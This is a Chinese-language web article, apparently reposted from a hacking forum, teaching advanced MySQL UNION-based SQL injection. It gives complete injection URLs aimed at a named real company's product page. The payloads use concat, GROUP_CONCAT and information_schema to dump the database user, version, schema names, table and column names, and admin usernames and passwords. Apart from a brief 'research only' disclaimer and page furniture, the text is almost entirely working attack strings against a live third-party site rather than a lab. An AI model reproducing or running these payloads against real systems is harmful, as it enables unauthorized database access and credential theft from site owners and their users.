刀城技术网-信息安全,服务器安全维护,网站安全维护

当前位置: 网站主页 > 数据安全 > MYSQL注入 >

php+MySql高级注入中国龙芯cpu公司网站语句应用一则

时间:2012-06-06 15:27来源:http://bbs.blackbap.org/thread 作者:Juliet 点击:
作者:Juliet 原文地址: http://bbs.blackbap.org/thread-1666-1-2.html 注入点,注入点猜解字段数目,这些我就不介绍了。注入的时候from猜不出表段名来,可以看这里: http://www.daokers.cn/a/shujukuanquan/MYSQLshujuku/2012/0606/607.html 如果知道了
作者:Juliet
原文地址:
http://bbs.blackbap.org/thread-1666-1-2.html


注入点,注入点猜解字段数目,这些我就不介绍了。注入的时候from猜不出表段名来,可以看这里:http://www.daokers.cn/a/shujukuanquan/MYSQLshujuku/2012/0606/607.html
如果知道了表段名出不来字段名,可以看这里:
http://www.daokers.cn/a/shujukuanquan/MYSQLshujuku/2012/0606/609.html
除了这两种,本文再介绍两种MySql的高级注入语句。
先说一个最简单的concat:
看这里http://www.loongson.cn/product_info.php?id=33+and+1=2+union+select+1,concat(0x757365723A,user(),0x5c,0x64617461626173653A,database(),0x5c,0x64617461626173652076657273696F6E3A,version()),3,4,5,concat(username,0x5c,password)+from+admin
先看2号显示位,concat(database(),0x5c,user(),0x5c,version())
当我们查询很多个东西的时候,我们就可以用到concat,通常用在显示位只有一个的情况,如果直接把显示位上放上要查询的东西,一次只能查询一个,这样很麻烦,所以这个concat就有了用武之地,把几个东西联合起来。不管你查询语句是什么,都可以用concat套进去,简单的理解可以看成一种等级关系?反正理解不了的话可以这么看,hex()的括号可以括所有的东西,concat()的括号可以括别的东西。
不过concat有个缺陷就是联合起来查的东西都是不被分割的,也就是连成一片的,我们需要用特定标识来分开,例如0x5f、0x5c、0xff等等

1.png

然后是注入列清单的语句(注意from后面的语句),先是列数据库的语句
http://www.loongson.cn/product_info.php?id=33+and+1=0+union+select+1,concat(0x757365723A,user(),0x5c,0x64617461626173653A,database(),0x5c,0x64617461626173652076657273696F6E3A,version()),3,4,5,concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))+from+information_schema.columns
这个看起来比较复杂,其实主要是看后面6号显示位。
concat(0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema))
先把前面的concat给剥掉再看:0x616C6C207461626C65733A,GROUP_CONCAT(DISTINCT+table_schema)
前面的0x616C6C207461626C65733A在上面显示的就是文本“all tables:”,而后面就是GROUP_CONCAT应用。
实际查询语句就是:select GROUP_CONCAT(DISTINCT table_schema)) from information_schema.columns
就是这样,死记硬背就可以了,以后用来一次性列出所有的数据库的名称。

2.png

然后下面就是列出某个数据库里的所有的表段的名称。
http://www.loongson.cn/product_info.php?id=33+and+1=2+union+select+1,2,3,4,5,GROUP_CONCAT(DISTINCT+table_name)+from+information_schema.columns+where+table_schema=0x64625F6368696E615F717562616E5F636E
跟上面类似,我就不分析了,只不过最后面的0x64625F6368696E615F717562616E5F636E这个是数据库的名称的hex值,如果查询的是当前库,就不用找东西加密了,直接hex(database())显示出来的就是加密过的了,前面加个0x就可以直接用了。

3.png

然后是列出某个表段里的所有字段名称。
http://www.loongson.cn/product_info.php?id=33+and+1=2+union+select+1,2,3,4,5,GROUP_CONCAT(DISTINCT+column_name)+from+information_schema.columns+where+table_name=0x61646D696E
这个也不解释了,where+table_name=0x61646D696E表的名字是admin,0x61646D696E是admin的hex编码

(以上内容仅供作为研究,用于非法用途所造成的法律责任由其本人负责!)


(责任编辑:刀)
顶一下
(1)
100%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
表情:
验证码:点击我更换图片
栏目列表
推荐内容